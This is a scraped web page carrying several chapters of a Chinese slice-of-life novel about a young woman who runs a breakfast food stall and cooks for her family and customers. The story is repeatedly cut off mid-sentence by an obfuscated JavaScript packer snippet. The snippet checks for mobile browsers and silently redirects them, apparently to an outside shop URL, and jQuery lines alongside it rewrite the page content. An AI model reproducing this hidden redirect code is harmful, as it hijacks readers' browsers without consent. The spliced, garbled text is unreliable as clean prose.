l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558036|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李云华模仿电视里的霸总大手一挥，“你喜欢就好。” “快去给你爸送去吧，不要在外面待太长时间，这个天还是冷。”李云华说完又给宋鑫把围巾系好。 宋鑫到宋志明那里的时候，李云华已经吃上饭了，她们食堂还是不错了，毕竟餐标也不低，领导也比较关注食堂。 可是话又说回来，食堂嘛，吃多了之后再好吃也就那样，还是家里的饭好吃。 李云华和周阿姨虽然不在一个部门，但是吃饭都在一个食堂，这次李云华刚提着饭盒走进食堂，就被排队中的周阿姨发现了。 蹭饭蹭出经验的她直接给李云华发了个消息，打了两大份米饭过去了。 宋鑫做的菜那么好吃，米饭少了根本不满足。 刚一坐下，就看到加热好摆在桌子上的几道菜，还有汤，这个天气喝上一碗酸酸辣辣的热汤，即使她们一直在办公室开着空调不觉得冷，也会很舒服。 吃上几口，周阿姨又开始老生常谈：“真羡慕你啊。”表情哀怨地看着李云华。 李云华已经习惯了，充耳不闻继续吃自己的饭，是饭干烧冬笋不够脆，还是香菇肉饼不够鲜，哪有那个时间和周阿姨乱扯。 多吃点，下午还要忙工作呢。 李云华不语，只是一味的吃！ 周阿姨也感受到了危机感，也不装模做样了，露出本性大口吃起来，她们单位带饭的人也不少，尤其是刚过完年。 但是大家的饭菜可没有李云华她们桌子上的诱人，也没有她们桌子上的香，老员工都知道是李云华的女儿又来给她送饭了，新员工可不知道。 “李姐吃的那菜看着可真香，闻着也好香。” “是啊，不知道她是在哪里买的，但是看饭盒难不成是自己家里做的。” “可是李姐老公不实在兄弟单位吗，难道是她家长辈做的。” 一阵猜测下来，老员工都笑起来了，还是其中一个看不下去了。 “不是别人，是你们李姐家女儿做的，你们来的时间晚，恰好她家女儿去年暑假大学毕业没有回家才不知道这事儿。” 一众小年轻不敢相信，才大学毕业，那不就是差不多大，或者比她们还要小，手艺这么好的吗？ 看她们还不相信，老员工自己也馋了，直接起身走到李云华她们那儿，“姐鑫鑫现在怎么样，之前的元宵特别好吃，这是她做的菜吧，看起来就好吃！” 其实说这么多，最后一句才是重点，看着拿了一双新筷子的老同事，李云华无奈看了看对方：“吃什么自己夹，别逗小年轻了啊。” 座位离得不是特别远，李云华也听到了那些话。 “吃豆腐，我觉得这个家常豆腐特别好吃，比肉还好吃，豆腐吸饱了汤汁，但是外皮又有韧劲儿，咬一口还会有汤汁出来。”周阿姨向同事强烈推荐家常豆腐。 同事听话的多夹走一块豆腐，又把其他两个菜夹了一点。 23.炒猪肝 端着饭碗回去的时候，看着几个新员工好奇的眼神，却没有任何分享的打算，这可是她厚着脸皮要来的，还就这么一点点，不能分享！ 她之前就因为买元宵进了群，自然也知道宋鑫开始摆摊卖吃的，这两天看到群里的聊天记录都馋到不行，可是她家和宋鑫家在反方向，要早起半个小时才能吃上。 吃了一口家常豆腐，这个同事下定决心，明天周六不上班，时间充裕，一定要去吃早饭！ 直到把蹭来的饭菜吃完，她才和周围眼巴巴看着的新员工说道：“我刚刚问过李姐了，就是她女儿做的，也确实很好吃。” 周围的新员工内心：姐，你不说我们也知道了，你看看就用这一点菜，你吃完了一大碗米饭啊！ 她们之前也隐约听说过李姐女儿，不过因为李云华不爱在单位说自家的私事，她们知道的也不多，只是听到有人说她白上了个大学下，现在还是去摆摊。 都是同龄人，她们对于宋鑫去摆摊没有什么想法，都什么时代了，还搞高高在上那一套呢，那个人平时就爱倚老卖老，动不动就支使她们几个新来的给她干活。 现在因为这么香的饭菜，她们对宋鑫更加好奇了，这哪是自甘堕落啊，这么好的手艺出来摆摊是造福大家啊。 几个人互相对了对眼神，一致决定明天也要去宋鑫的小摊上吃早餐，她们可以休息日早起！ 宋鑫还不知道自己的小摊即将迎来一批新的食客，此刻她正在回家的路上，拿起手机看着宋志明发来的红包，收入+1 宋志明一向秉持着别的不够，红包来凑，遇事不决，发个红包。 宋鑫没有直接回家，她又去了菜市场，提前和老板说好了，让她留下一些大棒骨，她要炖骨头汤。 可以一次性把大棒骨卖完老板也很开心，宋鑫付完钱之后还送给她两块猪肝。 看着猪肝，宋鑫已经把晚上的菜定了下来，就吃嫩炒猪肝好了，到时候从炖着的骨头汤里取出一点汤，来上一碗骨汤手擀面，保证吃的人做梦都是香的。 又去面店定好明天要用的面条，明天早上来取，宋鑫才提着打包小包回家。 到家之后先把猪肝泡在水里。 大棒骨都已经让老板先剁好了，放到一个大盆里面，加上一小碗面粉，宋鑫戴好手套就开始抓捏骨头，让每一块骨头都能被面粉包裹。 抓匀之后再清洗大棒骨，多用清水洗几遍，直到清水不会变得浑浊。 干完这些，宋鑫直起身锤了锤腰，还别说，这个活看着轻松，干起来还挺累的。 把这些大棒骨都放进大锅里面，这个大锅都是放在餐车上的，也是用来装汤汤水水，这次宋鑫能把它拿上楼，还多亏了新买的推车。 类似快递点的推车，上面放很重的东西也可以推动，非常省力实用，下午在菜市场门口买的。 加入的清水没过大棒骨，还是葱姜白酒去腥，料酒给骨头去腥，回头炖出来的骨头汤容易有怪味。 小火慢煮，趁着这个时间，先给泡着的猪肝换水，之后开始和面。 宋鑫把家里的面粉找出来，其实也可以买现成的鲜面条，口感差别不是很大，可她现在闲着，手痒想要自己做手擀面。 自家做的相比卖的还是更好吃一点。 两碗面粉倒在揉面垫上面，中间开个窝，加入适量的盐和清水，再打上两个鸡蛋，接着就要开始使劲揉，先揉成团。 前段时间高强度滚元宵让宋鑫现在揉了十几分钟的面团都不觉得累。 揉到面团变得光滑，用盆盖住面团稍微醒半个小时。 焯水的锅里已经漂了一层浮沫，宋鑫开始拿勺子打浮沫，水满满变得沸腾起来，宋鑫在锅里放的骨头太多了。 平时她们自己家吃没有这么多骨头的时候，宋鑫都是趁着锅里水沸腾，把火调大一些，在没有浮沫的地方把骨头捞出来，这样捞出来的骨头上面是不会有浮沫的，也就不用温水再次冲洗了。 可惜这次的骨头着实是多，宋鑫只能老老实实的撇浮沫，清洗骨头，还好刚刚烧了一锅温水。 重新把锅洗干净，烘干里面的水分，倒入适量的菜籽油，菜籽油要烧热，不然炖好的汤会带着奇怪味道。 把洗干净的骨头倒进去，宋鑫把剩余的姜片全部拿了过来倒进锅里，大火煸炒，直到锅里没有水分，生姜和肉的香味融合在一起，就可以把烧好的开水倒进去了。 不用盖锅盖，先开大火把汤煮沸，旺火煮浓汤，之后再加开水到满锅，盖上锅盖小火慢炖。 宋鑫把她们晚上要吃的大棒骨留了出来，直接放进高压锅里炖煮，要不然等这个大骨汤完全炖好早就过了晚饭的点。 猪肝泡的差不多可以处理了，宋鑫把猪肝切成薄薄的片，切好之后她还忍不住拿起一片欣赏一下。 “我的刀工可真棒，这猪肝切的真薄啊~” “奖励我晚上多吃一碗面吧，嘿嘿~” 给自己加了奖励之后宋鑫开开心心的腌猪肝，腌好的猪肝慢慢滑进煮开的水里面，猪肝颜色稍稍变浅就要马上捞出来放进清水里面。 清洗好的猪肝放在一边沥干水分，宋鑫先把配菜准备好，等宋志明李云华回来之后再开始炒。 看了一下面团的状态，可以拿出来擀了，直接把面团擀成面片，撒上淀粉擀成薄片，轻轻折叠好切成条，之后抖散再撒上一些淀粉。 手擀面就做好了。 在厨房忙活一通的宋鑫看着自己的杰作只觉得神清气爽，果然她当初就不该去上班，要是毕业就来摆摊，估计她现在小饭店都开起来了。 而且，她的食客都很可爱，不管年纪大小都很好，比她的甲方好一万倍！ “我们回来啦~”又是幸福的一天，还没有进家门就闻到了香味，李云华一进门就寻找宋鑫。 宋鑫回来之后家里的生活水平都直线上升，宋志明和李云华商量之后每个月直接给宋鑫五千的生活费。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564650|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 宋鑫刚听到的时候整个人都是“啊？生活费，给我吗？” 毕竟听到家长给上学的小孩生活费，也听说过大人给老人生活费，但是现在她们这个年纪，父母给自己生活费，倒反天罡？ 刚一开始宋鑫是拒绝的，但是双拳难敌四手，最终还是收下了，不过一个月只要三千五，毕竟她自己也在家里吃饭，家里的所有开销都是宋志明和李云华出的。 其实她只想要两千的，但是宋志明和李云华实在不同意，最后折了个中。 宋志明和李云华本来想给更多的，她们两个辛辛苦苦除了让自己和老人的生活好一点，也是为了让宋鑫过好日子的。 现在宋鑫天天早起去摆摊，多辛苦啊，回来还会给她们做饭，看着都让人心疼。 宋鑫：真的是顺手的事情啊！我自己也要吃饭的。 总之两人商量的结果就是给钱，有时间的时候多给宋鑫帮忙。 都回来了，宋鑫先烧上一锅热水等会儿煮手擀面，另外起锅热油，先放洋葱，再把青红椒炒到断生，随后把猪肝加进去，接着加入准备好的调料，快速翻炒均匀，一点点的水淀粉勾芡，嫩嫩的炒猪肝就好了。 起锅装盘，把猪肝放一边，等会儿李云华她们就回来端走。 水也沸腾了，把手擀面放进去，火稍微调小一点，自己做的鸡蛋手擀面吃起来爽滑却又不软烂，先把手擀面盛到碗里。 再从高压锅里盛出一勺大骨汤浇在碗里，香气四溢。 如果愿意吃葱，可以加上一小勺葱花。 饭桌上，三碗骨汤手擀面，一盘炒猪肝，还有一小碟糖醋萝卜片，这个超级百搭。 热气蒸腾，三个人都来不及说话，第一口吃的都是手擀面，宋鑫先喝的汤，虽然味道很好，可还是没有小火慢炖出来的鲜美。 手擀面还是很好吃，筋道~ 接着来上一口猪肝，猪肝脆嫩，一点也不发粉发苦，没有丝毫腥味，里面的洋葱也好吃，脆脆甜甜。 吃完一碗，宋鑫果然奖励了自己第二碗手擀面，虽然已经把大骨汤上面的油撇掉了，吃到最后还是有点腻了。 这时候就需要糖醋萝卜片出场了，夹上一片放进嘴里，又能再吃两碗面。 开玩笑的啦，再吃两碗宋鑫今天晚上都不用睡觉了，要一直消食。 “明天我们休息，爸爸妈妈陪你去出摊啊。”吃过饭李云华和宋鑫商量。 宋鑫拒绝了她的帮助，“我现在忙的过来，时间也不长，你们好不容易休息，还是多睡会儿吧。” 宋鑫现在的作息非常非常健康，早睡早起。 李云华还有些失落，“你这么累我们都没帮上什么忙。” “哎呀，你们帮的不少了，我的原始资金都是你们的投资，早上还会给我打扫战场，超级好的~”宋鑫抱住李云华说道。 “你就会哄我！” “嘿嘿~” 最后帮忙这件事不了了之。 24.大骨汤面 早上，宋鑫到菜市场直奔向白萝卜，小火熬到鲜美的骨头汤，再加入冬天水灵灵的白萝卜，那个滋味想都不敢想。 把其他的菜也买好，宋鑫回到家先炒面码，照旧把挂牌发到群里，这两天早上来吃饭的有不少熟悉的面孔。 大骨汤面 榨菜肉丝面（汤面/拌面） 番茄鸡蛋面（汤面/拌面） 白萝卜大骨汤 周六的早晨，一个菜单挂牌惊醒了无数人，甚至还有人给宋鑫的消息设置了单独提醒，可能和她从不水群只发重要消息也有关系。 稍微看了一下群里的回复，惊讶于大家周六还醒的这么早，宋鑫就赶紧削萝卜去了。 【大家都起这么早吗，今天是周六哎！】 【不是起得早，单纯睡得晚，等会儿吃个早饭开始睡觉。】 【上面好牛，我是真起得早，过年的劲儿还没有缓过来，上班上的太累了。】 【学校今天还要上学啊！】 【抓住一个小孩子，是高三还是初三，今天是上学。】 【吼吼吼我也抓到啦~】 【你们好无聊，欺负小孩子，抓人加我一个。】 【就没有人看今天的菜单吗，怎么都不讨论。】 【我们小宋的手艺还用讨论吗，做什么都好吃，盲买！】 【+1】 【+1】 …… 【+1】 整整齐齐的一列，两天加上之前的元宵，宋鑫的手艺征服了无数人。 【真的很好吃吗，你们不要骗人啊，我今天有时间就去吃吃看。】 【真的好吃，在这方面，我从不骗人！】 【楼上上真的要去吃一下，保证你从此茶饭不香。】 【哈哈哈哈茶饭不香什么鬼。】 大家对宋鑫的手艺保持高度信任，唯一要讨论的只是选择哪个罢了，这个时候就恨人类进化为什么不能有三个胃，一个胃吃一碗面，最后用大骨汤溜溜缝。 大骨汤里面的萝卜，想想就美味~ 宋鑫把大骨汤分成两份，一份配面条，还有一份加入白萝卜块，继续炖煮半个小时。 榨菜肉丝和番茄炒蛋做起来都很快，这两个菜要配面条，宋鑫特意多留了些汤汁。 到达摆摊地点之后竟然已经有人等在这里了，是一个宋鑫不认识的女人。 还好面煮起来很快，女人，也就是阳阳妈妈，阳阳是赵明明和小星星的同学，和赵明明的好胃口相反，阳阳是个饭渣宝宝。 因为不爱吃东西，阳阳的体重和身高都比同龄人低，家里用尽手段，补剂一瓶接一瓶的喝着，才能勉强保证营养正常，不至于营养不良。 阳阳妈妈也是为了阳阳操碎了心，奈何家里人做的饭阳阳都不爱吃，去饭店也不爱吃里面的菜，就是小孩子都爱吃的炸鸡汉堡，她也吃不了多少。 你问她为什么不吃，她就说吃饱了不想吃。 和小星星还不一样，小星星是挑食，阳阳是不吃。 昨天早上她送阳阳上学的时候，听到了小星星爸爸和赵明明妈妈夸她会吃，别看宋鑫经营的不是正经饭店，但是餐车整体干干净净，人也干净利落，做的东西更是特别好吃。 虽然昨天做的不是蒸饺，但是小星星爸爸还是把菜单上的食物都买了一遍，小星星一个小孩子就吃掉了一个半的蛋饼，最后还想要吃，家里人怎么都不敢给他吃了。 赵女士听到小星星爸爸的话心里苦啊，尤其是她最后也没有吃到蛋饼，别说蛋饼了，连汤都没有喝到。 当时听小星星爸爸说蛋饼的美味有多期待，最后就有多么失望。 而阳阳妈妈听到小星星爸爸的描述，又燃起了一点希望，小星星都很爱吃，阳阳应该能多吃一点吧。 阳阳妈妈上前问了宋鑫摆摊的地址，好好的谢过小星星爸爸和赵明明妈妈，今天早早的来到了宋鑫这里。 就是为了买早饭，看看阳阳吃不吃这家的饭。 宋鑫把餐车停好，阳阳妈妈就看着挂牌琢磨起来，家里之前也做过骨汤面，阳阳吃两口就不吃了，还是要一份番茄鸡蛋汤面吧。 不过她眼睛一扫，看到挂牌旁边贴着一张纸，上面写着周日固定休息。 宋鑫考虑了一下，天天出摊没有休息日也不行，她一个人撑不下来，即使给自己打工也需要休息日！ 阳阳妈妈还没有让阳阳试过这里的饭菜，对于这个休息也不在意。 她看着宋鑫煮面、加料、打包。 想了想又开口说道：“再要一份榨菜肉丝拌面，一份大骨汤面，再加一碗白萝卜骨头汤吧，全都打包带走。” 早上她和阳阳爸爸也要吃饭，刚刚宋鑫往面上放番茄炒蛋的时候，看上去寡淡的煮面一下子变得诱人起来，空气中也传来了番茄酸甜的气味。 干脆每个口味都买上一碗，冲着这个香味，阳阳吃不了多少，她也能吃完。 拌面的打包稍微简单一些，汤面需要把汤单独放在打包盒里，不过打包几份熟悉起来之后也很块。 阳阳妈妈离开没多久，小区里就出来一群人直奔向小餐车。 正是王爷爷李奶奶那一群人，这些人到了之后先把各自要的面点好，她们之中大部分都吃大骨汤面，就算点了其他面的人也都单点了一份白萝卜骨头汤。 宋鑫的汤征服了一群老年人。 今天她们来的更早，再加上是周六，现在餐车这边人还很少，一群人今天就不打包了，直接在这边吃。 来了八个人，两张小桌子正正好。 一群人还没坐下，先去夹糖醋萝卜片了，昨天早上吃到最后，王奶奶的萝卜片也被大家发现了，对于两人发现了这么好吃的东西却不告诉大家进行了严肃的批评。 今天也是因为萝卜片才来这么早，虽然昨天没有很多人吃这个腌萝卜，可是万一也有人像她们一样呢，大家都发现了，她们来晚不就没得吃了。 这就是老小孩的想法了，抱着这样的心思，本来年纪大了就醒的早，这次更是都起了一个大早来宋鑫这里吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16568814|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭。 面一碗碗端过来，李奶奶吃的就是大骨汤面，她连面带汤一大口下肚才和李爷爷说话。 “一口下去终于暖和起来了，这么一碗看着都舒服，你看这汤，我们在家也炖骨头汤，咋就没有人家的好喝呢。”李奶奶说着又喝了一口汤。 吃到一半，胃里有了东西打底，宋鑫的餐车前面又排上了队，李奶奶想起来今天女儿一家也要过来，“我们买几碗白萝卜骨头汤回去吧，中午也给小玫她们一家煮面吃。” 李爷爷都不用思考直接回道：“这个好这个好，我去排队买汤，你慢慢吃。”说完他就把剩下的最后一点面一口气全吃了，去队伍的末尾排队去了。 快排到李爷爷的时候他听着前面好像吵起来了，仔细听也不像是吵架，李爷爷在队伍里探出头想看看是怎么回事。 一个年纪大一点的老头和一个年轻小伙，俩人都站在小料台那块儿。 老头先开口：“年轻人啊，我现在已经被黄土埋大半截了，不知道哪天就离开这个世界了，这最后一点萝卜就给我吧。” 年轻小伙不甘示弱，已经到自己手里的东西怎么可能让出去，尤其是这么美味的萝卜片！ “大爷我看您身体还硬朗着呢，什么黄土埋半截，还早着呢，我这刚上完夜班来吃个早饭，就靠着这点萝卜开胃呢。” 两人你一句我一句，也没有争吵，在比惨？ 最后还是把正在煮面的宋鑫吸引来了，把手里的面递给前面的客人之后，宋鑫和下一位客人说了声抱歉就向两人走去。 搞清楚来龙去脉宋鑫哭笑不得。 “糖醋萝卜片嘛，不用抢，我这里还有呢。“说完她从餐车后面一个角落拿出了一个罐子，里面满满的萝卜片。 宋鑫没注意到这个事情也是因为昨天的糖醋萝卜片根本不需要补货，最后走的时候还剩下一个底呢，万万没想到今天的糖醋萝卜片消耗的这么快。 “老板你这个糖醋萝卜片卖吗？” “是啊，我也愿意买。” 有人问起了这个糖醋萝卜片，宋鑫现在当然不可能卖，她腌的也就剩这么一罐子了。 腌的时候觉得多，看起来也很多，可是架不住越来越多的人发现它的美味，吃的人也多了起来。 “暂时不能卖，我也只有这一罐了。”宋鑫指了指手里的罐子，接着在众人的注视下打开罐子开始补货。 听到只有这么一罐了众人都觉得可惜，还有人想要出高价把剩余的萝卜片买走，据她说吃这个特别开胃。 这种请求当然被宋鑫拒绝了。 还有人催宋鑫多做点，“老板你放心大胆的做，多少我们都买的下。” “我都不敢想要是我能独自拥有一罐糖醋萝卜片的话，我会是多么幸福的小女孩。” 宋鑫无奈表示自己一定好好考虑。 之后小料台这块儿的糖醋萝卜片就被大众监督起来，大家都要适量取用，一旦有人多夹了就会遭到群体批判的目光。 李爷爷也没敢多夹一点。 25.炸瓜枣 他是一个有素质的老头！ 关键是他也超不过人家，现在大家都很紧张这个萝卜片，他就不要顶风作案了，虽然多拿也拿不了多少。 宋鑫看事情解决了，在足量糖醋萝卜片的威力下矛盾没有扩大，决定下次再做这些东西一定多做点。 这次还是经验不足，她以为做的很多，结果对于食客来讲只是洒洒水。 回去继续煮面打包，大多数人还是打包带走，有好多都是两份三份的打包，有家庭的带回去一家人吃，独自生活的人则表示，多打包一份，一整体天都可以吃到美味的饭。 买饭的人都看懂了宋鑫贴在挂牌前的休息时间，大多数人都对此表示理解，要是他们自己，恨不得可以做三休四，隔日摆摊。 不过理解归理解，难过也是正常的，这么好吃的饭少吃一天都好亏。 “老板我已经开始想你了，没有你的饭我明天可怎么过呀。”这是悲伤版。 “还好我今天过来了，要不然明天早起还会跑空，嘿嘿嘿，我要赶紧和小伙伴说，吃不上了吧，让她想睡懒觉不和我一起来。”这是幸灾乐祸版。 “那我今天要买三份面两碗汤，这样明天的饭也解决了，这几天吃下来，我都习惯老板的手艺了，哪天吃不到心里还不舒服。”这是囤货版。 “我明天上班已经很惨了，结果老板明天还休息，是谁休息日又要上班又吃不到老板做的饭啊，是我。”这是照镜子版。 …… 宋鑫听一个人讲话，就在内心给人一个评价，不过她怕惹众怒，明天逼着她出摊，没敢把自己的评价说出口。 面不多了，排队的人也越来越少，到底今天是周六，难得休息，大家还是想要睡个懒觉。 “您的大骨汤面好了。”宋鑫说完就要把打包好的面递给前面的人，不经意看了一眼，“郑姨？”她喊得时候有点不敢置信。 之前郑姨她们来买元宵就给了宋鑫一点小小的震撼了，但是当时李云华她们单位的预订单都是李云华宋志明直接带过去的。 所以宋鑫没有直面熟悉的长辈，这一下碰到了还有些不知所措。 郑姨和李云华一起共事很多年，都是老同事了，虽然没有周阿姨和李云华的关系好，但是她和李云华的关系也不差。 毕竟是能够蹭饭的关系。 看见宋鑫也像看到了自己家小孩一样，这样一对比，宋鑫可比自己家孩子强多了，手艺好又孝顺，长得还漂亮，哪哪都好，就是不是自己家孩子。 看到宋鑫有些尴尬，郑姨先开口了：“是我，我这不是听说你在摆摊，问了你妈地址专门过来买的，可不是因为照顾你啊。” 郑姨生怕宋鑫误会，赶紧解释，自己来这一趟可不是因为人情，纯粹是宋鑫的手艺好，自己愿意来买，和其他的没有关系，就是被宋鑫的好厨艺吸引了。 听到郑姨这么说的宋鑫很开心，人也没有刚才局促了。 郑姨说完就走了，不耽误宋鑫的时间，她走的时候宋鑫还松了一口气，天知道她有多害怕郑姨说出传统老台词： 长这么大了，你小时候我还抱过你呢。 这种话宋鑫真的接受不能，听到之后总觉得很尴尬。 后面排着队的还有几个李云华的同事，不过是新同事，宋鑫都不认识。 几个人在看到郑姨走了之后齐齐松了一口气，她们最后还是约好一起过来了，一点儿也不想在休息时间遇到领导，同时呼气之后一起笑了出来。 她们也都打包回去吃，老板打包的很好，面汤分离，汤面拿回家也不会坨。 宋鑫没有发现什么异样，只是感觉今天的生面孔更多一些，她也没有觉得哪里不对，还是那句话，毕竟是周六，熟客也要睡懒觉。 今天结束的也很早，宋鑫开始收拾打扫。 赵明明家里的面也吃的差不多了。 赵先生带着面回到家里，收到了老婆的飞吻一枚，儿子的抱抱一个。 起床困难户赵女士难得在周六早早起床，这是很不容易的事。 赵女士工作的公司有两个时间段可以自由选择，一个是早九晚六，还有一个是早十晚七，就为了送完赵明明还能回来睡个回笼觉，赵女士毅然决然选择了早十晚七！ 如果赵先生休息，赵女士不用送赵明明上学，她可以一觉睡到九点四十，之后的每一秒都不可以浪费，飞快赶往公司。 赵女士的妈妈对于赵女士这个习惯深恶痛绝，不止一次批评过她，但赵女士是你说任你说，我做归我做，该怎么样还是怎么样，死不悔改。 对此赵女士自有她的一份歪理在：“我从到大都是这个样子嘛，人家都说三岁看小，七岁看老，你看我从小就起不来，肯定是你和爸爸的隐藏基因传给我了。” “再说了，我去那么早干嘛呢，上学的时候没办法，虽然我也卡点吧。”赵女士最后一句话说的小小声，却还是激起了明明姥姥的怒火。 “你刚刚说什么？”老天奶，明明姥姥这么多年真不知道赵女士上学的时候每天卡点，怪不得以前开家长会的时候老师总是会问她家里离得是不是有点远，最近是不是太忙了。 她不敢想赵女士是怎么跟老师说的。 赵女士现在已经结婚生子，胆子也越来越大，还火上浇油。 “上班就不一样了，上班就是挣钱的，我该工作多长时间那都是合同上写明的，我早去一分钟就是对我银行卡的亵渎！” 明明姥姥不知道说什么了，赵女士的话好像很有道理，但又很奇怪，属于她不能理解的部分，不过赵女士在这个公司干的还算愉快，应该没有什么问题。 回去的路上，赵女士自己还碎碎念：“晚下班还有加班费调休呢，早去什么都没有，我才不干，而且早起真的好困难，我要把以前失去的懒觉都补回来。” “我要一点一点夺回属于我的一切。”说完觉得不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574807|185922||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瘾，在路上戏精上身，双手握拳，表情浮夸。 路边围墙上的小猫蔑视地看了她一眼，“喵”了一声，优雅的离开了。 赵女士一脸惊疑，她是不是被一只猫鄙视了，岂有此理！大胆猫猫，如果它现在下来给她挼一下，她可以原谅它。 猫猫不懂，猫猫只觉得眼前这个两脚兽是个傻子，甩甩尾巴离开了。 因为一碗面成功起床地赵女士吃完饭之后靠在椅子上，迷迷糊糊和话痨小赵聊天。 赵明明也生生把一碗面吃完了，六岁小孩地饭量不可小觑。 “爸爸你怎么没有买那个鸡蛋呢，可好吃了，小星星昨天还给我带了。”赵明明手上还比划了一个圆，表明了蛋饼的形状。 赵先生还没来得及解释，赵女士听到鸡蛋两个字就明白赵明明说的是什么了，她都没有吃到的蛋饼，赵明明竟然吃上了，可恶，她为什么没有一个会分享蛋饼给她的朋友。 “那是蛋饼，好吃吗？”赵女士问的可怜巴巴，赵明明迅速点头，毋庸置疑的好吃，“可好吃了，外面还有一点脆脆的，可香可香的鸡蛋了。” “有甜的也有咸的。里面的菜菜也好吃。”赵明明边说边回味。 宋鑫收拾完回到家，今天早上她在菜市场看到了特别新鲜的黄鱼，她就想好了中午要做一个炸瓜枣，因为这种鱼的身体像一个枣，有的地方方言又称它为黄瓜鱼。 两条黄鱼，宋鑫直接让老板处理好切成了鱼条。 她早上没有没来得及腌，宋志明和李云华自告奋勇要帮忙，被宋鑫毫不留情地拒绝了，好不容易遇到品质这么好地黄鱼，还是她自己腌吧。 新鲜黄鱼不需要太多东西，只要一点姜末，再加上盐、糖、酒就可以了。 拌匀腌一个小时。 宋鑫在调面糊，李云华继续干自己熟悉的工作，切水果做果盘。 宋志明做为厨艺略胜一筹的那个，承接了帮工这一职位。 炸瓜枣的面糊需要放发酵粉发酵，面糊要发酵起泡才能放入腌好的鱼条。 宋志明把猪油找了出来，宋鑫要用猪油炸，炸出来会更好吃，家里的猪油还是过年前熬的，平时家里炒青菜之类的都会用猪油。 猪油炒出来很香，唯一的缺点就是现在天气冷，炒出来要尽快吃掉。 吃着水果等着面糊发酵，宋鑫看到面糊的状态差不多了，就把腌好的鱼条放进去，挂上面糊的鱼条放进端到一边的炸锅里面。 这次要炸的东西不是特别多，宋鑫就用的小炸锅，方便一些。 把鱼条都放进锅里，宋鑫这才把油锅放回重新点燃的燃气灶上面，直接开大火，炸个一分多钟，就要赶紧开小火了。 把火开到最小，鱼条变成白黄色，炸瓜枣就好了。 拿出准备好的椒盐粉撒上去，鱼肉鲜嫩，花椒的麻让鱼肉的鲜更加突出，这道菜还是宋鑫之前去旅游的时候学会的，这是第二次在家里做。 26.黄豆酱菜 主要是她们家这边很难遇到品质好的黄鱼。 “好久没有吃到炸瓜枣了，上次吃还是前两年鑫鑫放假在家遇到了好黄鱼做的。”洗手拿起一块炸瓜枣的宋志明有些感慨。 李云华也毫不客气地拿起一块边吃边说：“没有好久吧，我记得年前你不还在鑫鑫——” “老婆你看这个是不是你的啊。”宋志明边说边往外走。 李云华的话还没有说完就被宋志明打断了，看着宋志明可怜巴巴的眼神，李云华跟了上去，两人在客厅窃窃私语。 宋志明努力压低声音，不想被宋鑫听到，这个事情有损他伟岸的形象！ “还形象呢，行吧，我不说。”李云华不屑地一口把剩下地半个炸瓜枣吃完，这才好吃的炸瓜枣嘛，宋志明之前也买到了好的黄鱼。 回到家兴致满满要做炸瓜枣，结果自然不用多说，只是给自己的失败史又增加了一笔。 想想也很神奇，宋志明也不知道哪来的自信，还总说她自信，照李云华看，宋志明的自信也没比她少哪去。 剩下的面糊也没有浪费，宋鑫之前让宋志明切了一点葱加进去，这个面糊是用温水调的，即使没有放鸡蛋，炸出来里面也是暄软的。 回到厨房，宋鑫已经在重新炸东西了。 李云华看着她重新把火调大，用两根筷子在面糊里面一搅，之后把筷子放在油锅上面轻轻一推，一个面疙瘩就被放进来油锅里面。 宋鑫的手速很快，毕竟是从小就会进厨房练习的小孩，这种场面已经发生过很多次了，李云华每次都觉得很神奇。 难道是她怀孕的时候拜错了神仙，拜到了灶王爷那里？ 这种事情李云华就在心里想一想，从来没有说出来过，人有时候还是需要顾忌一些东西的。 中午饭就是炸面疙瘩，炸瓜枣，还有一盘炒青菜。 加上一锅小米红枣粥，这个时候吃真是再美味不过了。 这边一家人正在和和美美吃着午饭，包子店的老板坐不住了，这个包子店就是宋鑫刚回来的时候宋志明因为贪便宜买过包子的那家店。 年前刚开业的时候因为各种优惠活动，这家店吸引了不少顾客，结果过完年没有了各种活动，包子的价格正常之后，生意一天比一天差。 只有实在赶时间的人才会去这家店买包子，因为人少。 恶性循环，买的人少，剩包子变多，舍不得扔掉，第二天接着卖，买的人更少，短短半个月，这家店的口碑已经坏到了底。 包子店老板一点也不反思自己做的对不对，他的眼神放在了宋鑫的餐车上，之前看到宋鑫的元宵卖的那么火热他心里就很不舒服了。 自已一个顶天立地的堂堂大男人，做个早餐生意还不如一个摆摊的小姑娘。 但是宋鑫卖的元宵和包子不是竞品，加上当时包子店的颓势还不如现在明显，这个老板虽然嫉妒宋鑫的生意好，也没有做出什么实质性举动。 